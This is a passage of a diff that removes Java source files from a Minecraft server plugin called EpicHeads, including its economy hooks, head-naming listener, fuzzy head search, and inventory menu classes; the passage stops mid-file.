public class NoEconomy implements Economy {
@Override
public String getName() {
return "No";
}
@Override
public String formatBalance(double bal) {
return Double.toString(bal);
}
@Override
public boolean tryHook() {
return true;
}
@Override
public boolean isHooked() {
return true;
}
@Override
public boolean hasBalance(Player player, double bal) {
return true;
}
@Override
public boolean takeBalance(Player player, double bal) {
return false;
}
}

View File

@ -1,56 +0,0 @@
package com.songoda.epicheads.economy;
import org.black_ixx.playerpoints.PlayerPoints;
import org.bukkit.Bukkit;
import org.bukkit.entity.Player;
public class PlayerPointsEconomy implements Economy {
private PlayerPoints playerPoints;
@Override
public String getName() {
return "PlayerPoints";
}
private int convertAmount(double amount) {
return (int) Math.ceil(amount);
}
@Override
public String formatBalance(double bal) {
int amount = convertAmount(bal);
return Integer.toString(amount);
}
@Override
public boolean tryHook() {
if (Bukkit.getServer().getPluginManager().getPlugin("PlayerPoints") == null)
return false;
playerPoints = (PlayerPoints) Bukkit.getPluginManager().getPlugin("PlayerPoints");
return true;
}
@Override
public boolean isHooked() {
return playerPoints != null;
}
@Override
public boolean hasBalance(Player player, double bal) {
int amount = convertAmount(bal);
return playerPoints.getAPI().look(player.getUniqueId()) >= amount;
}
@Override
public boolean takeBalance(Player player, double bal) {
int amount = convertAmount(bal);
return playerPoints.getAPI().take(player.getUniqueId(), amount);
}
}

View File

@ -1,52 +0,0 @@
package com.songoda.epicheads.economy;
import org.bukkit.Bukkit;
import org.bukkit.entity.Player;
import org.bukkit.plugin.RegisteredServiceProvider;
public class VaultEconomy implements Economy {
private net.milkbowl.vault.economy.Economy economy;
@Override
public String getName() {
return "Vault";
}
@Override
public String formatBalance(double bal) {
return Double.toString(bal);
}
@Override
public boolean tryHook() {
if (Bukkit.getServer().getPluginManager().getPlugin("Vault") == null)
return false;
RegisteredServiceProvider<net.milkbowl.vault.economy.Economy> rsp =
Bukkit.getServicesManager().getRegistration(net.milkbowl.vault.economy.Economy.class);
if (rsp == null)
return false;
economy = rsp.getProvider();
return economy != null;
}
@Override
public boolean isHooked() {
return economy != null;
}
@Override
public boolean hasBalance(Player player, double bal) {
return economy.has(player, bal);
}
@Override
public boolean takeBalance(Player player, double bal) {
return economy.withdrawPlayer(player, bal).transactionSuccess();
}
}

View File

@ -1,213 +0,0 @@
package com.songoda.epicheads.handlers;
import com.mojang.authlib.GameProfile;
import com.songoda.epicheads.EpicHeads;
import com.songoda.epicheads.cache.CacheHead;
import com.songoda.epicheads.util.Methods;
import com.songoda.epicheads.volatilecode.ItemNBT;
import com.songoda.epicheads.volatilecode.Items;
import com.songoda.epicheads.volatilecode.TextureGetter;
import com.songoda.epicheads.volatilecode.reflection.nms.BlockPosition;
import com.songoda.epicheads.volatilecode.reflection.nms.TileEntitySkull;
import com.songoda.epicheads.volatilecode.reflection.nms.World;
import net.sothatsit.blockstore.BlockStoreApi;
import org.bukkit.*;
import org.bukkit.block.Block;
import org.bukkit.block.BlockState;
import org.bukkit.block.Skull;
import org.bukkit.entity.Player;
import org.bukkit.event.EventException;
import org.bukkit.event.EventHandler;
import org.bukkit.event.EventPriority;
import org.bukkit.event.Listener;
import org.bukkit.event.block.BlockBreakEvent;
import org.bukkit.event.block.BlockPlaceEvent;
import org.bukkit.inventory.ItemStack;
import org.bukkit.inventory.meta.ItemMeta;
import org.bukkit.inventory.meta.SkullMeta;
import org.bukkit.plugin.RegisteredListener;
import java.util.ArrayList;
import java.util.List;
import java.util.concurrent.atomic.AtomicInteger;
public class HeadNamer implements Listener {
private final EpicHeads instance;
public HeadNamer(EpicHeads instance) {
this.instance = instance;
}
public void registerEvents() {
Bukkit.getPluginManager().registerEvents(this, EpicHeads.getInstance());
}
private boolean shouldUseBlockStore() {
return instance.getMainConfig().shouldUseBlockStore() && instance.isBlockStoreAvailable();
}
@SuppressWarnings("deprecation")
private boolean isHeadsHead(ItemStack item) {
if (!Items.isSkull(item))
return false;
SkullMeta meta = (SkullMeta) item.getItemMeta();
// This needs to be kept too since it will not work on 1.8 if changed.
return meta.hasOwner() && meta.getOwner().equals("SpigotHeadPlugin");
}
@SuppressWarnings("deprecation")
private boolean isHeadsHead(Block block) {
BlockState state = block.getState();
if (!(state instanceof Skull))
return false;
Skull skull = (Skull) state;
// This needs to be kept too since it will not work on 1.8 if changed.
return skull.getOwner() != null && skull.getOwner().equals("SpigotHeadPlugin");
}
private GameProfile getGameProfile(Block block) {
World world = new World(block.getWorld());
BlockPosition pos = new BlockPosition(block.getX(), block.getY(), block.getZ());
TileEntitySkull tile = world.getTileEntity(pos).asSkullEntity();
return tile.getGameProfile();
}
private String findHeadName(Block block) {
if (instance.getMainConfig().shouldUseCacheNames()) {
GameProfile profile = getGameProfile(block);
String texture = TextureGetter.findTexture(profile);
CacheHead head = instance.getCache().findHeadByTexture(texture);
if (head != null)
return ChatColor.GRAY + head.getName();
}
return ChatColor.GRAY + instance.getMainConfig().getDefaultHeadName();
}
@EventHandler(priority = EventPriority.MONITOR)
public void onBlockPlace(BlockPlaceEvent e) {
if (!instance.getMainConfig().isHeadNamesEnabled() || !shouldUseBlockStore() || !isHeadsHead(e.getItemInHand()))
return;
ItemMeta meta = e.getItemInHand().getItemMeta();
if (!meta.hasDisplayName())
return;
BlockStoreApi.setBlockMeta(e.getBlock(), instance, "name", meta.getDisplayName());
}
@EventHandler(priority = EventPriority.LOWEST)
public void onBlockBreak(BlockBreakEvent e) {
if (!instance.getMainConfig().isHeadNamesEnabled())
return;
Block block = e.getBlock();
if (e.getPlayer().getGameMode() == GameMode.CREATIVE || !isHeadsHead(block))
return;
// Stop the head item being dropped by the server
e.setCancelled(true);
if (shouldUseBlockStore()) {
BlockStoreApi.retrieveBlockMeta(instance, block, instance, "name", metaValue -> {
String newName;
if (metaValue instanceof String) {
newName = (String) metaValue;
} else {
newName = findHeadName(block);
}
redropRenamedSkull(block, e.getPlayer(), newName);
});
} else {
redropRenamedSkull(block, e.getPlayer(), findHeadName(block));
}
}
private void redropRenamedSkull(Block block, Player player, String newName) {
BlockBreakEvent event = new BlockBreakEvent(block, player);
List<RegisteredListener> listenersToCall = new ArrayList<>();
for (RegisteredListener listener : BlockBreakEvent.getHandlerList().getRegisteredListeners()) {
if (!listener.getPlugin().isEnabled() || listener.getListener() instanceof HeadNamer)
continue;
listenersToCall.add(listener);
}
CountdownRunnable eventResultHandler = new CountdownRunnable(listenersToCall.size(), () -> {
if (event.isCancelled())
return;
GameProfile profile = getGameProfile(block);
ItemStack drop = ItemNBT.createHead(profile, newName);
Location dropLocation = block.getLocation().add(0.5, 0.5, 0.5);
block.setType(Material.AIR);
block.getWorld().dropItemNaturally(dropLocation, drop);
});
for (RegisteredListener listener : listenersToCall) {
new BlockBreakEventCaller(listener, event, eventResultHandler).scheduleTask();
}
}
private static class BlockBreakEventCaller implements Runnable {
private final RegisteredListener listener;
private final BlockBreakEvent event;
private final CountdownRunnable countdown;
BlockBreakEventCaller(RegisteredListener listener, BlockBreakEvent event, CountdownRunnable countdown) {
this.listener = listener;
this.event = event;
this.countdown = countdown;
}
void scheduleTask() {
Bukkit.getScheduler().scheduleSyncDelayedTask(listener.getPlugin(), this);
}
@Override
public void run() {
try {
listener.callEvent(event);
} catch (EventException exception) {
Methods.formatText("There was an exception calling BlockBreakEvent for " + listener.getPlugin().getName());
exception.printStackTrace();
} finally {
countdown.countdown();
}
}
}
private static class CountdownRunnable {
private final AtomicInteger countdown;
private final Runnable runnable;
CountdownRunnable(int count, Runnable runnable) {
this.countdown = new AtomicInteger(count);
this.runnable = runnable;
}
void countdown() {
if (countdown.decrementAndGet() != 0)
return;
EpicHeads.getInstance().sync(runnable);
}
}
}

View File

@ -1,73 +0,0 @@
package com.songoda.epicheads.handlers;
import com.songoda.epicheads.EpicHeads;
import com.songoda.epicheads.util.Checks;
import org.bukkit.Material;
import java.io.*;
import java.util.Collections;
import java.util.HashMap;
import java.util.Map;
public class LegacyIDs {
public static final LegacyIDs EMPTY = new LegacyIDs(Collections.emptyMap());
private final Map<Integer, String> idToType;
public LegacyIDs(Map<Integer, String> idToType) {
Checks.ensureNonNull(idToType, "idToType");
this.idToType = idToType;
}
public String fromId(int id) {
return idToType.get(id);
}
public void write(File file) throws IOException {
try (FileOutputStream fos = new FileOutputStream(file); OutputStreamWriter osr = new OutputStreamWriter(fos); BufferedWriter writer = new BufferedWriter(osr)) {
write(writer);
}
}
public void write(BufferedWriter writer) throws IOException {
for (Map.Entry<Integer, String> entry : idToType.entrySet()) {
writer.write(entry.getKey() + ":" + entry.getValue() + "\n");
}
}
@SuppressWarnings("deprecation")
public static LegacyIDs create() {
Map<Integer, String> idToType = new HashMap<>();
for (Material type : Material.values()) {
// This need to be kept for the legacy IDS for 1.13.
idToType.put(type.getId(), type.name());
}
return new LegacyIDs(idToType);
}
public static LegacyIDs readResource(String resource) throws IOException {
try (InputStream is = EpicHeads.getInstance().getResource(resource); InputStreamReader isr = new InputStreamReader(is); BufferedReader reader = new BufferedReader(isr)) {
return read(reader);
}
}
public static LegacyIDs read(BufferedReader reader) throws IOException {
Map<Integer, String> idToType = new HashMap<>();
String line;
while ((line = reader.readLine()) != null) {
int splitIndex = line.indexOf(':');
int id = Integer.valueOf(line.substring(0, splitIndex));
String type = line.substring(splitIndex + 1);
idToType.put(id, type);
}
return new LegacyIDs(idToType);
}
}

View File

@ -1,48 +0,0 @@
package com.songoda.epicheads.handlers;
import com.songoda.epicheads.EpicHeads;
import com.songoda.epicheads.api.EpicHeadsAPI;
import org.bukkit.Location;
import org.bukkit.scheduler.BukkitRunnable;
import java.util.List;
public class LiveHead {
private int frames;
private List<EpicHeadsAPI.Head> texures;
private Location location;
// Do not pay attention to this class, this is just a sort of sketch which is not ready.
public LiveHead(int frames, List<EpicHeadsAPI.Head> texures, Location location /*.more.*/) {
// Safety first, experimental features should not crash servers.
if (frames > 60)
frames = 60;
this.frames = frames;
if (texures.size() > frames)
while (texures.size() != frames) {
texures.remove(texures.size()); // logic - the last ones will be removed
}
this.texures = texures;
this.location = location;
}
public void renderTexures() {
int interval = frames / 20;
new BukkitRunnable() {
int fases;
public void run() {
// nessecary checks for head texures for fases.
fases++;
if (fases >= frames)
fases = 0;
}
}.runTaskTimer(EpicHeads.getInstance(), 0, interval);
// Render (but I am too tired for now).
// TODO: External classes from the animation packages.
}
}

View File

@ -1,274 +0,0 @@
package com.songoda.epicheads.handlers;
import com.songoda.epicheads.cache.CacheHead;
import com.songoda.epicheads.util.Checks;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
public final class Search {
private Query query;
private Query reusableQuery;
private double threshold;
private int[][] editDis;
private int editDisDim1;
private int editDisDim2;
private List<Substring> substrings = new ArrayList<>();
private Search(String query, double threshold) {
this.query = new Query(query, toWords(query));
this.substrings = new ArrayList<>();
this.reusableQuery = new Query("", null);
this.threshold = threshold;
getReusableArray(query.length() + 1, 38);
}
private int[][] getReusableArray(int dim1, int dim2) {
if (dim1 <= editDisDim1 && dim2 <= editDisDim2)
return editDis;
dim1 = Math.max(dim1, editDisDim1);
dim2 = Math.max(dim2, editDisDim2);
editDis = new int[dim1][dim2];
editDisDim1 = dim1;
editDisDim2 = dim2;
return editDis;
}
private void appendSubstring(int index, String string, int start, int end) {
if (index < substrings.size()) {
substrings.get(index).reuse(string, start, end);
} else {
substrings.add(new Substring(string, start, end));
}
}
public List<Substring> toWords(String string) {
int len = string.length();
int wordCount = 0;
int lastSplit = 0;
boolean inWord = false;
for (int index = 0; index < len; ++index) {
char ch = string.charAt(index);
if (ch == ' ') {
if (inWord) {
appendSubstring(wordCount, string, lastSplit, index);
wordCount += 1;
lastSplit = index + 1;
}
inWord = false;
} else {
inWord = true;
}
}
if (inWord) {
appendSubstring(wordCount, string, lastSplit, len);
wordCount += 1;
}
return substrings.subList(0, wordCount);
}
public Query reuseQuery(String string) {
return reusableQuery.reuse(string, toWords(string));
}
public List<CacheHead> checkAll(Iterable<CacheHead> heads) {
List<Match> matches = new ArrayList<>();
for (CacheHead head : heads) {
double relevance = calculateRelevance(query, head);
if (relevance <= threshold)
continue;
matches.add(new Match(head, relevance));
}
Collections.sort(matches);
List<CacheHead> results = new ArrayList<>();
for (Match match : matches) {
results.add(match.subject);
}
return results;
}
private double calculateRelevance(Query query, CacheHead head) {
double relevance = calculateRelevance(query, reuseQuery(head.getName()));
for (String tag : head.getTags()) {
relevance = Math.max(relevance, 0.8 * calculateRelevance(query, reuseQuery(tag)));
}
return relevance;
}
private double calculateRelevance(Query query, Query subject) {
double similarity = calcSimilarity(query.string, subject.string);
double wordSimilarity = 0d;
double aggregate = 0d;
int count = 0;
for (Substring queryWord : query.words) {
double querySimilarity = 0d;
for (Substring subjectWord : subject.words) {
querySimilarity = Math.max(querySimilarity, calcSimilarity(queryWord, subjectWord));
}
aggregate += querySimilarity;
count += 1;
wordSimilarity = Math.max(wordSimilarity, querySimilarity);
}
if (count > 0) {
wordSimilarity = 0.9d * wordSimilarity + 0.1d * (aggregate / count);
}
return Math.max(similarity, wordSimilarity);
}
private double calcSimilarity(Substring query, Substring subject) {
int len1 = query.length();
int len2 = subject.length();
int[][] dp = getReusableArray(len1 + 1, len2 + 1);
for (int i = 0; i <= len1; i++) {
dp[i][0] = i;
}
for (int j = 0; j <= len2; j++) {
dp[0][j] = j;
}
for (int i = 0; i < len1; i++) {
char c1 = query.charAt(i);
for (int j = 0; j < len2; j++) {
char c2 = subject.charAt(j);
if (c1 == c2) {
dp[i + 1][j + 1] = dp[i][j];
} else {
int replace = dp[i][j] + 1;
int insert = dp[i][j + 1] + 1;
int delete = dp[i + 1][j] + 1;
int min = replace > insert ? insert : replace;
min = delete > min ? min : delete;
dp[i + 1][j + 1] = min;
}
}
}
int editDistance = dp[len1][len2];
if (editDistance == 0)
return 1;
return 0.75d * (double) (query.length() - editDistance) / (double) query.length();
}
private final static class Match implements Comparable<Match> {
public final CacheHead subject;
public final double relevance;
private Match(CacheHead subject, double relevance) {
this.subject = subject;
this.relevance = relevance;
}
@Override
public int compareTo(Match other) {
return Double.compare(other.relevance, relevance);
}
}
private final class Query {
public Substring string;
public List<Substring> words;
public Query(String string, List<Substring> words) {
this.string = new Substring(string);
this.words = words;
}
public Query reuse(String string, List<Substring> words) {
this.string.reuse(string);
this.words = words;
return this;
}
}
private static class Substring {
public String string;
public int start;
public int end;
public Substring(String string) {
this(string, 0, string.length());
}
public Substring(String string, int start, int end) {
reuse(string, start, end);
}
public Substring reuse(String string) {
return reuse(string, 0, string.length());
}
public Substring reuse(String string, int start, int end) {
Checks.ensureNonNull(string, "string");
this.string = string;
this.moveTo(start, end);
return this;
}
public void moveTo(int start, int end) {
Checks.ensureTrue(start >= 0, "start must be >= 0");
Checks.ensureTrue(end >= start, "end must be >= start");
Checks.ensureTrue(end <= string.length(), "end must be <= to the length of string");
this.start = start;
this.end = end;
}
public char charAt(int index) {
if (index < 0)
throw new IndexOutOfBoundsException("index cannot be negative");
if (index >= length())
throw new IndexOutOfBoundsException("index must be less than the strings length");
char ch = string.charAt(start + index);
return (char) (ch >= 'A' && ch <= 'Z' ? ch + ('a' - 'A') : ch);
}
public int length() {
return end - start;
}
@Override
public String toString() {
return string.substring(start, end);
}
}
/**
* Search over the list of heads and find all heads with a relevance above a certain threshold.
* Will simplify the query string in an attempt to improve matches.
*
* @param query The search term.
* @param heads The heads we are checking for matches.
* @param threshold The threshold relevance that a head must have to be matched.
* @return All heads sorted by relevance that have a relevance greater than the threshold.
*/
public static List<CacheHead> searchHeads(String query, Iterable<CacheHead> heads, double threshold) {
return new Search(query, threshold).checkAll(heads);
}
}

View File

@ -1,175 +0,0 @@
package com.songoda.epicheads.menu;
import com.songoda.epicheads.cache.CacheFile;
import com.songoda.epicheads.cache.CacheHead;
import com.songoda.epicheads.menu.ui.Bounds;
import com.songoda.epicheads.menu.ui.InventoryMenu;
import com.songoda.epicheads.menu.ui.MenuResponse;
import com.songoda.epicheads.menu.ui.element.Element;
import com.songoda.epicheads.menu.ui.item.Button;
import com.songoda.epicheads.menu.ui.item.Item;
import com.songoda.epicheads.util.Checks;
import com.songoda.epicheads.util.Stringify;
import org.bukkit.ChatColor;
import org.bukkit.Material;
import java.util.List;
import java.util.function.Function;
public class CacheHeadsMenu extends Element {
public static final Item defaultClose = Item.create(Material.REDSTONE_BLOCK).name("&cClose Menu");
public static final Item defaultBack = Item.create(Material.REDSTONE_BLOCK).name("&cBack to Categories");
public static final Item defaultSearch = Item.create(Material.COMPASS).name("&7Search Heads");
public static final String defaultCategoriesTitle = "Categories";
public static final String defaultCategoryTitle = "%category%";
public static final Template defaultTemplate = new Template(CategoriesMenu.defaultTemplate, HeadsMenu.defaultTemplate, defaultClose, defaultBack, defaultSearch, defaultCategoriesTitle, defaultCategoryTitle);
private Template template;
private final CacheFile cache;
private final InventoryMenu inventoryMenu;
private final CategoriesMenu categoriesMenu;
private final HeadsMenu headsMenu;
private String selectedCategory = null;
public CacheHeadsMenu(CacheFile cache, InventoryMenu inventoryMenu, Bounds bounds, Function<CacheHead, MenuResponse> onSelect) {
super(bounds);
Checks.ensureNonNull(cache, "cache");
Checks.ensureNonNull(inventoryMenu, "inventoryMenu");
Checks.ensureNonNull(onSelect, "onSelect");
Checks.ensureTrue(bounds.height >= 3, "bounds must have a height of at least 3");
this.cache = cache;
this.inventoryMenu = inventoryMenu;
this.categoriesMenu = new CategoriesMenu(cache, bounds, this::selectCategory);
this.headsMenu = new HeadsMenu(bounds, onSelect);
setTemplate(defaultTemplate);
}
public boolean onCategoriesScreen() {
return selectedCategory == null;
}
public MenuResponse close() {
return MenuResponse.CLOSE;
}
public MenuResponse back() {
this.selectedCategory = null;
inventoryMenu.setTitle(template.getCategoriesTitle());
return MenuResponse.UPDATE;
}
public MenuResponse search() {
inventoryMenu.getPlayer().sendMessage("Search");
return MenuResponse.NONE;
}
public MenuResponse selectCategory(String category) {
Checks.ensureNonNull(category, "category");
List<CacheHead> heads = cache.getCategoryHeads(category);
if (heads.size() == 0) {
return back();
}
this.selectedCategory = category;
this.headsMenu.setItems(heads);
inventoryMenu.setTitle(template.getCategoryTitle(category));
return MenuResponse.UPDATE;
}
@Override
public Button[] getItems() {
if (onCategoriesScreen()) {
return categoriesMenu.getItems();
} else {
return headsMenu.getItems();
}
}
public void setTemplate(Template template) {
Checks.ensureNonNull(template, "template");
this.template = template;
this.template.init(this);
if (onCategoriesScreen()) {
inventoryMenu.setTitle(template.getCategoriesTitle());
} else {
inventoryMenu.setTitle(template.getCategoryTitle(selectedCategory));
}
}
@Override
public String toString() {
return Stringify.builder().entry("template", template).entry("cache", cache).entry("headsMenu", headsMenu).entry("categoriesMenu", categoriesMenu).toString();
}
public static final class Template {
private final CategoriesMenu.Template categoriesTemplate;
private final HeadsMenu.Template headsTemplate;
private final Item close;
private final Item back;
private final Item search;
private final String categoriesTitle;
private final String categoryTitle;
public Template(CategoriesMenu.Template categoriesTemplate, HeadsMenu.Template headsTemplate, Item close, Item back, Item search, String categoriesTitle, String categoryTitle) {
Checks.ensureNonNull(categoriesTemplate, "categoriesTemplate");
Checks.ensureNonNull(headsTemplate, "headsTemplate");
Checks.ensureNonNull(close, "close");
Checks.ensureNonNull(back, "back");
Checks.ensureNonNull(search, "search");
Checks.ensureNonNull(categoriesTemplate, "categoriesTemplate");
Checks.ensureNonNull(categoryTitle, "categoryTitle");
this.categoriesTemplate = categoriesTemplate;
this.headsTemplate = headsTemplate;
this.close = close;
this.back = back;
this.search = search;
this.categoriesTitle = ChatColor.translateAlternateColorCodes('&', categoriesTitle);
this.categoryTitle = ChatColor.translateAlternateColorCodes('&', categoryTitle);
}
public String getCategoriesTitle() {
return categoriesTitle;
}
public String getCategoryTitle(String category) {
return categoryTitle.replace("%category%", category);
}
private void init(CacheHeadsMenu menu) {
Button close = this.close.buildButton(menu::close);
Button back = this.back.buildButton(menu::back);
Button search = this.search.buildButton(menu::search);
menu.categoriesMenu.setTemplate(categoriesTemplate, close, search);
menu.headsMenu.setTemplate(headsTemplate, back, search);
}
@Override
public String toString() {
return Stringify.builder().entry("categoriesTemplate", categoriesTemplate).entry("headsTemplate", headsTemplate).toString();
}
}
}

View File

@ -1,131 +0,0 @@
package com.songoda.epicheads.menu;
import com.songoda.epicheads.cache.CacheFile;
import com.songoda.epicheads.cache.CacheHead;
import com.songoda.epicheads.config.lang.Placeholder;
import com.songoda.epicheads.menu.ui.Bounds;
import com.songoda.epicheads.menu.ui.MenuResponse;
import com.songoda.epicheads.menu.ui.element.Element;
import com.songoda.epicheads.menu.ui.element.PagedBox;
import com.songoda.epicheads.menu.ui.item.Button;
import com.songoda.epicheads.menu.ui.item.Item;
import com.songoda.epicheads.util.Checks;
import com.songoda.epicheads.util.SafeCall;
import com.songoda.epicheads.util.Stringify;
import com.songoda.epicheads.volatilecode.Items;
import org.bukkit.inventory.ItemStack;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
import java.util.function.Function;
public class CategoriesMenu extends Element {
public static final Item defaultCategoryItem = Items.createSkull()
.name("&7%category%")
.lore("&6%heads% &eheads");
public static final Template defaultTemplate = new Template(PagedBox.defaultTemplate, defaultCategoryItem);
private Template template;
private final CacheFile cache;
private final Function<String, MenuResponse> onSelect;
private final PagedBox pagedBox;
public CategoriesMenu(CacheFile cache, Bounds bounds, Function<String, MenuResponse> onSelect) {
super(bounds);
Checks.ensureNonNull(cache, "cache");
Checks.ensureNonNull(onSelect, "onSelect");
Checks.ensureTrue(bounds.height >= 3, "bounds must have a height of at least 3");
this.cache = cache;
this.onSelect = SafeCall.nonNullFunction(onSelect, "onSelect");
this.pagedBox = new PagedBox(bounds);
setTemplate(defaultTemplate, PagedBox.defaultLeftControl, PagedBox.defaultRightControl);
updateItems();
}
@Override
public Button[] getItems() {
return pagedBox.getItems();
}
private void updateItems() {
List<String> categories = new ArrayList<>(cache.getCategories());
Button[] categoryItems = new Button[categories.size() * 2 + 4];
Collections.sort(categories);
for(int index = 0; index < categories.size(); ++index) {
String category = categories.get(index);
categoryItems[index * 2] = template.constructCategoryButton(this, category);
}
pagedBox.setItems(categoryItems);
}
public void setTemplate(Template template, Button leftControl, Button rightControl) {
Checks.ensureNonNull(template, "template");
this.template = template;
this.template.init(this, leftControl, rightControl);
}
@Override
public String toString() {
return Stringify.builder()
.entry("template", template)
.entry("onSelect", onSelect)
.entry("pagedBox", pagedBox).toString();
}
public static final class Template {
private final PagedBox.Template pagedBoxTemplate;
private final Item categoryItem;
public Template(PagedBox.Template pagedBoxTemplate, Item categoryItem) {
Checks.ensureNonNull(pagedBoxTemplate, "pagedBoxTemplate");
Checks.ensureNonNull(categoryItem, "categoryItem");
this.pagedBoxTemplate = pagedBoxTemplate;
this.categoryItem = categoryItem;
}
private void init(CategoriesMenu menu, Button leftControl, Button rightControl) {
menu.pagedBox.setTemplate(pagedBoxTemplate, leftControl, rightControl);
}
public Button constructCategoryButton(CategoriesMenu menu, String category) {
Checks.ensureNonNull(menu, "menu");
Checks.ensureNonNull(category, "category");
List<CacheHead> categoryHeads = menu.cache.getCategoryHeads(category);
CacheHead iconHead = categoryHeads.get(0);
Placeholder categoryPlaceholder = new Placeholder("%category%", category);
Placeholder headCountPlaceholder = new Placeholder("%heads%", categoryHeads.size());
ItemStack icon = categoryItem.build(categoryPlaceholder, headCountPlaceholder);
icon = iconHead.addTexture(icon);
return new Button(icon, () -> menu.onSelect.apply(category));
}
@Override
public String toString() {
return Stringify.builder()
.entry("pagedBoxTemplate", pagedBoxTemplate)
.entry("categoryItem", categoryItem).toString();
}
}
}

View File

@ -1,108 +0,0 @@
package com.songoda.epicheads.menu;
import com.songoda.epicheads.menu.ui.Bounds;
import com.songoda.epicheads.menu.ui.MenuResponse;
import com.songoda.epicheads.menu.ui.Position;
import com.songoda.epicheads.menu.ui.element.Container;
import com.songoda.epicheads.menu.ui.element.Element;
import com.songoda.epicheads.menu.ui.item.Button;
import com.songoda.epicheads.menu.ui.item.Item;
import com.songoda.epicheads.util.Checks;
import com.songoda.epicheads.util.SafeCall;
import com.songoda.epicheads.util.Stringify;
import com.songoda.epicheads.volatilecode.Items;
import org.bukkit.Material;
import java.util.concurrent.Callable;
public class ConfirmationMenu extends Element {
public static final Item defaultAccept = Items.createGreenStainedClay().name("&aAccept");
public static final Item defaultDecline = Items.createRedStainedClay().name("&cDecline");
public static final Button defaultSubject = Item.create(Material.AIR).buildButton();
public static final Template defaultTemplate = new Template(defaultAccept, defaultDecline);
private Template template;
private final Callable<MenuResponse> onAccept;
private final Callable<MenuResponse> onDecline;
private Button subject;
public ConfirmationMenu(Bounds bounds, Callable<MenuResponse> onAccept, Callable<MenuResponse> onDecline) {
super(bounds);
Checks.ensureNonNull(onAccept, "onAccept");
Checks.ensureNonNull(onDecline, "onDecline");
Checks.ensureTrue(bounds.width >= 3, "bounds must have a width of at least 3");
Checks.ensureTrue(bounds.width >= 2, "bounds must have a height of at least 2");
this.onAccept = SafeCall.nonNullCallable(onAccept, "onAccept");
this.onDecline = SafeCall.nonNullCallable(onDecline, "onDecline");
setTemplate(defaultTemplate, defaultSubject);
}
@Override
public Button[] getItems() {
Container container = new Container(bounds);
Position subjectPosition = new Position(bounds.width / 2, (bounds.height - 1) / 3);
Position acceptPosition = new Position(bounds.width / 3, (bounds.height - 1) * 2 / 3);
Position declinePosition = new Position(bounds.width * 2 / 3, (bounds.height - 1) * 2 / 3);
container.setItem(subjectPosition, subject);
container.setItem(acceptPosition, template.constructAccept(this));
container.setItem(declinePosition, template.constructDecline(this));
return container.getItems();
}
public void setTemplate(Template template, Button subject) {
Checks.ensureNonNull(template, "template");
this.template = template;
this.subject = subject;
}
@Override
public String toString() {
return Stringify.builder()
.entry("template", template)
.entry("subject", subject)
.entry("onAccept", onAccept)
.entry("onDecline", onDecline).toString();
}
public static final class Template {
private final Item accept;
private final Item decline;
public Template(Item accept, Item decline) {
Checks.ensureNonNull(accept, "accept");
Checks.ensureNonNull(decline, "decline");
this.accept = accept;
this.decline = decline;
}
public Button constructAccept(ConfirmationMenu menu) {
return accept.buildButton(menu.onAccept);
}
public Button constructDecline(ConfirmationMenu menu) {
return accept.buildButton(menu.onDecline);
}
@Override
public String toString() {
return Stringify.builder()
.entry("accept", accept)
.entry("decline", decline).toString();
}
}
}

View File

@ -1,120 +0,0 @@
package com.songoda.epicheads.menu;
import com.songoda.epicheads.cache.CacheHead;
import com.songoda.epicheads.menu.ui.Bounds;
import com.songoda.epicheads.menu.ui.MenuResponse;
import com.songoda.epicheads.menu.ui.element.Element;
import com.songoda.epicheads.menu.ui.element.PagedBox;
import com.songoda.epicheads.menu.ui.item.Button;
import com.songoda.epicheads.menu.ui.item.Item;
import com.songoda.epicheads.util.Checks;
import com.songoda.epicheads.util.SafeCall;
import com.songoda.epicheads.util.Stringify;
import com.songoda.epicheads.volatilecode.Items;
import org.bukkit.inventory.ItemStack;
import java.util.ArrayList;
import java.util.Collection;
import java.util.List;
import java.util.function.Function;
public class HeadsMenu extends Element {
public static final Item defaultHead = Items.createSkull().name("&7%name%").lore("&eCost: &6%cost%");
public static final Template defaultTemplate = new Template(PagedBox.defaultTemplate, defaultHead);
private Template template;
private final Function<CacheHead, MenuResponse> onSelect;
private final List<CacheHead> heads = new ArrayList<>();
private final PagedBox pagedBox;
public HeadsMenu(Bounds bounds, Function<CacheHead, MenuResponse> onSelect) {
super(bounds);
Checks.ensureNonNull(onSelect, "onSelect");
Checks.ensureTrue(bounds.height >= 3, "bounds must have a height of at least 3");
this.onSelect = SafeCall.nonNullFunction(onSelect, "onHeadSelect");
this.pagedBox = new PagedBox(bounds);
setTemplate(defaultTemplate, PagedBox.defaultLeftControl, PagedBox.defaultRightControl);
}
public void setItems(Collection<CacheHead> heads) {
this.heads.clear();
this.heads.addAll(heads);
updateItems();
}
@Override
public Button[] getItems() {
return pagedBox.getItems();
}
private void updateItems() {
Button[] items = new Button[heads.size()];
for(int index = 0; index < heads.size(); ++index) {
CacheHead head = heads.get(index);
items[index] = template.constructHead(this, head);
}
pagedBox.setItems(items);
}
public void setTemplate(Template template, Button leftControl, Button rightControl) {
Checks.ensureNonNull(template, "template");
this.template = template;
this.template.init(this, leftControl, rightControl);
}
@Override
public String toString() {
return Stringify.builder()
.entry("template", template)
.entry("onSelect", onSelect)
.entry("pagedBox", pagedBox)
.entry("heads", heads).toString();
}
public static final class Template {
private final PagedBox.Template pagedBoxTemplate;
private final Item headItem;
public Template(PagedBox.Template pagedBoxTemplate, Item headItem) {
Checks.ensureNonNull(pagedBoxTemplate, "pagedBoxTemplate");
Checks.ensureNonNull(headItem, "headItem");
this.pagedBoxTemplate = pagedBoxTemplate;
this.headItem = headItem;
}
private void init(HeadsMenu menu, Button leftControl, Button rightControl) {
menu.pagedBox.setTemplate(pagedBoxTemplate, leftControl, rightControl);
}
public Button constructHead(HeadsMenu menu, CacheHead head) {
ItemStack item = headItem.build(head.getPlaceholders(null));
item = head.addTexture(item);
return new Button(item, () -> menu.onSelect.apply(head));
}
@Override
public String toString() {
return Stringify.builder()
.entry("pagedBoxTemplate", pagedBoxTemplate)
.entry("headItem", headItem).toString();
}
}
}

View File

@ -1,73 +0,0 @@
package com.songoda.epicheads.menu.ui;
import com.songoda.epicheads.util.Checks;
import com.songoda.epicheads.util.Stringify;
public final class Bounds {
public final Position position;
public final int width;
public final int height;
public Bounds(int x, int y, int width, int height) {
this(new Position(x, y), width, height);
}
public Bounds(Position position, int width, int height) {
Checks.ensureNonNull(position, "position");
Checks.ensureTrue(width > 0, "width must be greater than 0");
Checks.ensureTrue(height > 0, "height must be greater than 0");
this.position = position;
this.width = width;
this.height = height;
}
public int getVolume() {
return this.width * this.height;
}
public Position[] getCorners() {
return new Position[] {
position,
position.add(0, height - 1),
